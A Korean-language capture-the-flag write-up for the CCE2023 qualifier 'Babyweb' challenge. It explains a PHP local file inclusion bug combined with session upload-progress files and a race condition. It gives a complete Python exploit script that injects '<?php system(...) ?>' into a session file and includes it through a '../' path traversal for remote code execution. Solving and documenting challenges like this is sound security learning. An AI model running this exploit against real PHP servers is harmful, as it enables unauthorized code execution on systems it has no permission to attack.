Post

CCE2023 Quals Babyweb write-up

취약점 분석

먼저 제공된 파일 중 index.php을 보면 GET 파라미터로 넘어온 값을 include 한다는 것을 알 수 있다.

1
2
3
4
5
6
7
8
9
<?php
    $page = $_GET['page'];
    if(isset($page)){
        include("./data/".$page);
    } else {
        header("Location: /?page=1");
    }
?>

이를 통해 LFI 취약점을 트리거 할 수 있는데, php 내용을 어디에 쓸 수 있을 지가 고민이었다.

www.conf의 내용을 보면 session.upload_progress.enabled가 1로 설정되어 있으므로, PHP_SESSION_UPLOAD_PROGRESS를 통해 php 코드를 업로드 할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[www]
user = www-data
group = www-data
listen = /run/php/php7.4-fpm.sock
listen.owner = www-data
listen.group = www-data
pm = dynamic
pm.max_children = 48
pm.start_servers = 16
pm.min_spare_servers = 8
pm.max_spare_servers = 16
php_admin_value[session.upload_progress.enabled] = 1
php_admin_value[memory_limit] = 32M
php_admin_value[max_execution_time] = 10s
php_admin_value[opcache.enable] = 0
request_terminate_timeout = 15s

session.upload_progress.enabled옵션은 php 내부에서 업로드 중인 개별 파일의 진행률을 추적하기 위해 사용된다. 해당 옵션이 켜져있으면 session_start 함수 없이도 세션 파일을 생성할 수 있으므로 세션 파일을 통해 RCE를 진행할 수 있다.

다만, 해당 문제에서는 session.upload_progress.cleanup 옵션이 활성화 되어 있으므로 세션 파일이 바로 삭제된다. 하지만 크기가 큰 파일을 보내고, Race Condition을 통하면 세션 파일을 읽을 수 있다.

익스플로잇

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import threading

SERVER = False
url = '<http://localhost:8080>' if not SERVER else "<http://20.196.197.149:8000>"


def read_session():
    while True:
        res = requests.get(
            url + "/?page=../../../../../../../../../../var/lib/php/sessions/sess_lourcode")
        if len(res.text) != 0:
            print(res.text)

def write_session():
    while True:
        res = requests.post(url, files={'PHP_SESSION_UPLOAD_PROGRESS': (None, '<?php system("/readflag") ?>'), 'file': ('lourcode', 'lourcode' * 0x300, 'application/octet-stream', {
                            'Expires': '0'})}, cookies={'PHPSESSID': 'lourcode'})



read = threading.Thread(target=read_session)
read.start()

write = threading.Thread(target=write_session)
write.start()

0

플래그를 획득하였다.

Reference

https://book.hacktricks.xyz/pentesting-web/file-inclusion/via-php_session_upload_progress

This post is licensed under CC BY 4.0 by the author.